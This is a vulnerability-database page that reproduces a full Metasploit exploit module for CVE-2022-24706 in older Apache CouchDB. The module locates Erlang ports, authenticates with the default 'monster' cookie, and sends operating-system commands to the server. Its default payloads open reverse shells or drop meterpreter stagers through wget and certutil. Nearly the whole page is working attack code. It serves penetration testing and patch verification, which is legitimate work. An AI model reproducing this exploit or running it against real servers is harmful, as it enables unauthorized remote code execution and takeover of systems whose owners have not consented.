Lucene search
K

Apache CouchDB Erlang Remote Code Execution

Apache CouchDB Erlang Remote Code Execution in prior to 3.2.2, attacker can access an improperly secured default installation without authenticating and gain admin privileges

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::CmdStager  
include Msf::Exploit::Retry  
include Msf::Exploit::Powershell  
prepend Msf::Exploit::Remote::AutoCheck  
require 'msf/core/exploit/powershell'  
require 'digest'  
  
# Constants required for communicating over the Erlang protocol defined here:  
# https://www.erlang.org/doc/apps/erts/erl_dist_protocol.html  
EPM_NAME_CMD = "\x00\x01\x6e".freeze  
NAME_MSG = "\x00\x15n\x00\x07\x00\x03\x49\x9cAAAAAA@AAAAAAA".freeze  
CHALLENGE_REPLY = "\x00\x15r\x01\x02\x03\x04".freeze  
CTRL_DATA = "\x83h\x04a\x06gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00\x00\x00w\x00w\x03rex".freeze  
COOKIE = 'monster'.freeze  
COMMAND_PREFIX = "\x83h\x02gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k".freeze  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Apache Couchdb Erlang RCE',  
'Description' => %q{  
In Apache CouchDB prior to 3.2.2, an attacker can access an improperly secured default installation without  
authenticating and gain admin privileges.  
},  
'Author' => [  
'Milton Valencia (wetw0rk)', # Erlang Cookie RCE discovery  
'1F98D', # Erlang Cookie RCE exploit  
'Konstantin Burov', # Apache CouchDB Erlang Cookie exploit  
'_sadshade', # Apache CouchDB Erlang Cookie exploit  
'jheysel-r7', # Msf Module  
],  
'References' => [  
[ 'EDB', '49418' ],  
[ 'URL', 'https://github.com/sadshade/CVE-2022-24706-CouchDB-Exploit'],  
[ 'CVE', '2022-24706'],  
],  
'License' => MSF_LICENSE,  
'Platform' => ['win', 'linux'],  
'Payload' => {  
'MaxSize' => 60000 # Due to the 16-bit nature of the cmd in the compile_cmd method  
},  
'Privileged' => false,  
'Arch' => [ ARCH_CMD ],  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_openssl'  
}  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :linux_dropper,  
'CmdStagerFlavor' => :wget,  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x86/meterpreter_reverse_tcp'  
}  
}  
],  
[  
'Windows Command',  
{  
'Platform' => 'win',  
'Arch' => ARCH_CMD,  
'Type' => :win_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'  
}  
}  
],  
[  
'Windows Dropper',  
{  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :win_dropper,  
'CmdStagerFlavor' => :certutil,  
'DefaultOptions' => {  
'PAYLOAD' => 'windows/x64/meterpreter_reverse_tcp'  
}  
}  
],  
[  
'PowerShell Stager',  
{  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :psh_stager,  
'CmdStagerFlavor' => :certutil,  
'DefaultOptions' => {  
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'  
}  
}  
]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => '2022-01-21',  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
),  
)  
  
register_options(  
[  
Opt::RPORT(4369)  
]  
)  
end  
  
def check  
erlang_ports = get_erlang_ports  
# If get_erlang_ports does not return an array of port numbers, the target is not vulnerable.  
return Exploit::CheckCode::Safe('This endpoint does not appear to expose any erlang ports') if erlang_ports.empty?  
  
erlang_ports.each do |erlang_port|  
# If connect_to_erlang_server returns a socket, it means authentication with the default cookie has been  
# successful and the target as well as the specific socket used in this instance is vulnerable  
sock = connect_to_erlang_server(erlang_port.to_i)  
if sock.instance_of?(Socket)  
@vulnerable_socket = sock  
return Exploit::CheckCode::Vulnerable('Successfully connected to the Erlang Server with cookie: "monster"')  
else  
next  
end  
end  
Exploit::CheckCode::Safe('This endpoint has an exposed erlang port(s) but appears to be a patched')  
end  
  
# Connect to the Erlang Port Mapper Daemon to collect port numbers of running Erlang servers  
#  
# @return [Array] An array of port numbers for discovered Erlang Servers.  
def get_erlang_ports  
erlang_ports = []  
begin  
print_status("Attempting to connect to the Erlang Port Mapper Daemon (EDPM) socket at: #{datastore['RHOSTS']}:#{datastore['RPORT']}...")  
connect(true, { 'RHOST' => datastore['RHOSTS'], 'RPORT' => datastore['RPORT'] })  
# request Erlang nodes  
sock.put(EPM_NAME_CMD)  
sleep datastore['WfsDelay']  
res = sock.get_once  
unless res && res.include?("\x00\x00\x11\x11name couchdb")  
print_error('Did not find any Erlang nodes')  
return erlang_ports  
end  
  
print_status('Successfully found EDPM socket')  
res.each_line do |line|  
erlang_ports << line.match(/\s(\d+$)/)[0]  
end  
rescue ::Rex::ConnectionError, ::EOFError, ::Errno::ECONNRESET => e  
print_error("Error connecting to EDPM: #{e.class} #{e}")  
disconnect  
return erlang_ports  
end  
erlang_ports  
end  
  
# Attempts to connect to an erlang server with a default erlang cookie of 'monster', which is the  
# default erlang cookie value in Apache CouchDB installations before 3.2.2  
#  
# @return [Socket] Returns a socket that is connected and already authenticated to the vulnerable Apache CouchDB Erlang Server  
def connect_to_erlang_server(erlang_port)  
print_status('Attempting to connect to the Erlang Server with an Erlang Server Cookie value of "monster" (default in vulnerable instances of Apache CouchDB)...')  
connect(true, { 'RHOST' => datastore['RHOSTS'], 'RPORT' => erlang_port })  
print_status('Connection successful')  
challenge = retry_until_truthy(timeout: 60) do  
sock.put(NAME_MSG)  
sock.get_once(5) # ok message  
sock.get_once  
end  
# The expected successful response from the target should start with \x00\x1C  
unless challenge && challenge.include?("\x00\x1C")  
print_error('Connecting to the Erlang server was unsuccessful')  
return  
end  
  
challenge = challenge[9..12].unpack('N*')[0]  
challenge_reply = "\x00\x15r\x01\x02\x03\x04"  
md5 = Digest::MD5.new  
md5.update(COOKIE + challenge.to_s)  
challenge_reply << [md5.hexdigest].pack('H*')  
sock.put(challenge_reply)  
sleep datastore['WfsDelay']  
challenge_response = sock.get_once  
  
if challenge_response.nil?  
print_error('Authentication was unsuccessful')  
return  
end  
print_status('Erlang challenge and response completed successfully')  
  
sock  
rescue ::Rex::ConnectionError, ::EOFError, ::Errno::ECONNRESET => e  
print_error("Error when connecting to Erlang Server: #{e.class} #{e} ")  
disconnect  
return  
end  
  
def compile_cmd(cmd)  
msg = ''  
msg << COMMAND_PREFIX  
msg << [cmd.length].pack('S>')  
msg << cmd  
msg << "jw\x04user"  
payload = ("\x70" + CTRL_DATA + msg)  
([payload.size].pack('N*') + payload)  
end  
  
def execute_command(cmd, opts = {})  
payload = compile_cmd(cmd)  
print_status('Sending payload... ')  
opts[:sock].put(payload)  
sleep datastore['WfsDelay']  
end  
  
def exploit_socket(sock)  
case target['Type']  
when :unix_cmd, :win_cmd  
execute_command(payload.encoded, { sock: sock })  
when :linux_dropper, :win_dropper  
execute_cmdstager({ sock: sock })  
when :psh_stager  
execute_command(cmd_psh_payload(payload.encoded, payload_instance.arch.first), { sock: sock })  
else  
fail_with(Failure::BadConfig, 'Invalid target specified')  
end  
end  
  
def exploit  
# If the check method has already been run, use the vulnerable socket that has already been identified  
if @vulnerable_socket  
exploit_socket(@vulnerable_socket)  
else  
erlang_ports = get_erlang_ports  
fail_with(Failure::BadConfig, 'This endpoint does not appear to expose any erlang ports') unless erlang_ports.instance_of?(Array)  
  
erlang_ports.each do |erlang_port|  
sock = connect_to_erlang_server(erlang_port.to_i)  
next unless sock.instance_of?(Socket)  
  
exploit_socket(sock)  
end  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation